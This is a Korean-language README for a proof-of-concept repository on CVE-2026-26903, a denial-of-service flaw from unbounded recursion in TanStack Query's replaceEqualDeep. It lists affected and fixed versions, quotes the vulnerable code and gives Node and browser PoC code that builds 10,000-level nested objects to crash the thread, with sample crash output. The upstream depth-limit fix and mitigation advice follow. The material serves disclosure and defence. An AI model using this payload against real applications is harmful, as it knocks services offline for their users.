
CVE-2026-26903을 시연하기 위한 PoC
TanStack Query의 replaceEqualDeep 함수의 무제한 재귀로 인한 서비스 거부(Denial-of-service)
깊게 중첩된 객체가 포함된 단일 조작된 쿼리 업데이트는 JavaScript 스레드를 무기한 정지시켜 애플리케이션 전체가 응답하지 않게 만들 수 있습니다. 인증이나 특별한 권한은 필요하지 않습니다.
이 취약점은 2026년 1월 14일에 게시된 PR #10032을 통해 @tanstack/[email protected]에서 수정되었습니다.
| 패키지 | 영향 범위 | 수정 버전 |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | 취약한 query-core에 의존 | 5.90.18+ |
| @tanstack/vue-query | 취약한 query-core에 의존 | 5.90.18+ |
| @tanstack/solid-query | 취약한 query-core에 의존 | 5.90.18+ |
| @tanstack/svelte-query | 취약한 query-core에 의존 | 6.1.7+ |
CVE-2026-26903: replaceEqualDeep의 무제한 재귀로 인한 서비스 거부(Denial of Service) (심각도: 중간)
TanStack Query의
replaceEqualDeep함수는 깊이 제한 없이 중첩된 객체를 재귀적으로 비교합니다. 깊게 중첩된 데이터 구조를 처리할 때 무제한 재귀가 트리거되어 스택 오버플로와 애플리케이션 정지를 유발할 수 있습니다.— MITRE를 통해 배정됨
TanStack Query의 replaceEqualDeep 함수는 쿼리 데이터가 실제로 변경되었는지 확인하기 위해 내부적으로 사용되며, 가능한 경우 객체 참조를 유지하여 리렌더링을 최적화합니다. 이 함수는 깊은 동등성 비교를 수행하기 위해 객체 속성을 재귀적으로 탐색합니다.
재귀 구현에는 깊이 제한이나 순환 감지가 없습니다:
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep을 통해 깊게 중첩된 데이터가 전달되는 모든 쿼리 업데이트useQuery 훅setQueryData, invalidateQueries 또는 모든 쿼리 캐시 작업CVE-2026-26903-PoC/
├── README.md # This file
├── LICENSE
├── poc.js # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html # Browser PoC (interactive visual demo)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
옵션 A: 독립 실행형 HTML 데모 (의존성 없음)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
옵션 B: React 애플리케이션 (실제 시나리오)
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions
PoC는 깊게 중첩된 객체를 생성하고 replaceEqualDeep이 이를 처리하도록 트리거합니다:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10,000 levels deep
const newData = generateDeep(10000); // Different object, same structure
// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Level 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Level 2
├── replaceEqualDeep(...) // Level 3
└── ... (continues for 10,000 levels)
각 재귀 호출은 JavaScript 엔진의 호출 스택이 소진될 때까지 새 스택 프레임을 추가하며, 결국 스레드를 정지시킵니다.
위치: @tanstack/query-core/src/utils.ts (대략적인 위치)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: No depth limit or cycle detection
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
이 수정(TanStack Query 커밋 269351b)은 무제한 재귀를 방지하기 위해 깊이 제한을 추가합니다:
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... middle section unchanged ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
주요 변경 사항:
depth 매개변수 추가 — 재귀 깊이를 추적하기 위해 기본값 0으로 추가depth > 500이면 즉시 b를 반환replaceEqualDeep(aItem, bItem, depth + 1)이 간단한 수정은 합리적인 중첩 수준을 허용하면서 스택 오버플로를 방지합니다 (500단계는 실제 데이터 구조에 충분히 넘치는 수준입니다).
replaceEqualDeep에 깊이 제한을 구현:
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Prevent deep recursion
if (a === b) return a;
// ... existing logic ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... rest of function
}
또는 재귀 대신 반복적 순회를 사용하십시오.
이 개념 증명(PoC)은 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 책임감 있게 사용하고, 본인이 소유하거나 테스트할 명시적 권한이 있는 애플리케이션에 대해서만 사용하십시오. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다.